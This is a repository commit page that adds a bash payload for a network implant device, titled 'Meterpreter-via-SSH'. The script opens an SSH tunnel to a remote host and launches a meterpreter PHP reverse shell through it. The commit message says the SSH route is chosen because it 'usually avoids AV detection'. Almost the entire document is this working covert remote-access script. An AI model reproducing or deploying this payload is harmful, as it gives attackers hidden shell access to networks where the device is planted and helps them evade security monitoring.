meterpreter via ssh from packet squirrel repo
ssh usually avoids AV detection so I borrowed this from packet squirrel repopull/27/head
parent
67d125b8e9
commit
75df92285c
|
@ -0,0 +1,147 @@
|
||||||
|
#!/bin/bash
|
||||||
|
|
||||||
|
# Title: Meterpreter-via-SSH
|
||||||
|
|
||||||
|
# Description: Covert meterpreter shell via overt SSH connection
|
||||||
|
|
||||||
|
# Author: Zappus
|
||||||
|
|
||||||
|
# Version: 1.0
|
||||||
|
|
||||||
|
# Category: Remote-Access
|
||||||
|
|
||||||
|
# Net Mode: NAT
|
||||||
|
|
||||||
|
# Firmware: 1.2
|
||||||
|
|
||||||
|
#
|
||||||
|
|
||||||
|
# LED State Descriptions
|
||||||
|
|
||||||
|
# Magenta Solid - Configuring NETMODE
|
||||||
|
|
||||||
|
# LED OFF - Waiting for BUTTON
|
||||||
|
|
||||||
|
# Red Blink 2 Times - SSH Connection Failed
|
||||||
|
|
||||||
|
# Amber Blink 5 Times - SSH Connection Successful
|
||||||
|
|
||||||
|
# Red Blink 1 Time - Meterpreter Failed
|
||||||
|
|
||||||
|
# Cyan Blink 1 Time - Meterpreter Successful
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
SSH_USER="username"
|
||||||
|
|
||||||
|
SSH_HOST="hostname"
|
||||||
|
|
||||||
|
MSF_PORT=31337
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
function start()
|
||||||
|
|
||||||
|
{
|
||||||
|
|
||||||
|
LED SETUP
|
||||||
|
|
||||||
|
NETMODE NAT
|
||||||
|
|
||||||
|
sleep 5
|
||||||
|
|
||||||
|
LED OFF
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
# Wait until BUTTON is pressed
|
||||||
|
|
||||||
|
while true
|
||||||
|
|
||||||
|
do
|
||||||
|
|
||||||
|
NO_LED=1 BUTTON && {
|
||||||
|
|
||||||
|
# close any existing meterpreter and SSH connections
|
||||||
|
|
||||||
|
kill `pgrep php` 2> /dev/null
|
||||||
|
|
||||||
|
kill `pgrep -x ssh` 2> /dev/null
|
||||||
|
|
||||||
|
sleep 2
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
# Establish connection to remote SSH server
|
||||||
|
|
||||||
|
ssh -f -N -T -M -L $MSF_PORT:127.0.0.1:$MSF_PORT $SSH_USER@$SSH_HOST
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
# Check if SSH connection worked
|
||||||
|
|
||||||
|
if [ -z `pgrep -x ssh` ]
|
||||||
|
|
||||||
|
then
|
||||||
|
|
||||||
|
LED FAIL
|
||||||
|
|
||||||
|
sleep 5
|
||||||
|
|
||||||
|
LED OFF
|
||||||
|
|
||||||
|
continue
|
||||||
|
|
||||||
|
else
|
||||||
|
|
||||||
|
LED STAGE1
|
||||||
|
|
||||||
|
sleep 5
|
||||||
|
|
||||||
|
fi
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
# Start meterpreter reverse shell
|
||||||
|
|
||||||
|
meterpreter-php 127.0.0.1 $MSF_PORT &
|
||||||
|
|
||||||
|
sleep 2
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
# Check if meterpreter shell started
|
||||||
|
|
||||||
|
if [ -z `pgrep php` ]
|
||||||
|
|
||||||
|
then
|
||||||
|
|
||||||
|
# Close SSH connection because meterpreter failed
|
||||||
|
|
||||||
|
kill `pgrep -x ssh` 2> /dev/null
|
||||||
|
|
||||||
|
LED FAIL
|
||||||
|
|
||||||
|
else
|
||||||
|
|
||||||
|
LED SPECIAL
|
||||||
|
|
||||||
|
fi
|
||||||
|
|
||||||
|
sleep 1
|
||||||
|
|
||||||
|
LED OFF
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
done
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
# Start the payload
|
||||||
|
|
||||||
|
start &
|
Loading…
Reference in New Issue